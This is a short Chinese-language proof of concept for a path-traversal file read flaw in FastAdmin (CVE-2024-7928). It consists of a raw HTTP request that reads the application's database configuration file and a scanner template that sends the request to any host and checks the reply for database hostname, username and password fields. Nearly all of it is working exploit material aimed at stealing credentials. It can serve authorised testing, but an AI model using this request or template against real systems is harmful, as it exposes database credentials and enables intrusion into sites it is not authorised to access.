FastAdmin 任意文件读取漏洞（CVE-2024-7928）PoC

GET /index/ajax/lang?lang=../../application/database HTTP/1.1Host: 192.168.31.133Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection: keep-alive

id: FastAdmin-renyiwenjianduqu-CVE-2024-7928info:  name: FastAdmin 任意文件读取漏洞-CVE-2024-7928  author: 紫色皓月  severity: high  description: FastAdmin 任意文件读取漏洞  tags: CVE-2024-7928,2024,FastAdmin,任意文件读取requests:  - raw:    - |      GET /index/ajax/lang?lang=../../application/database HTTP/1.1      Host: {{Hostname}}      Cache-Control: max-age=0      Upgrade-Insecure-Requests: 1      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7      Accept-Encoding: gzip, deflate, br      Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6      Connection: keep-alive    req-condition: true    matchers:      - type: word        words:          - 'hostname'          - 'username'          - 'password'          - 'database'        condition: and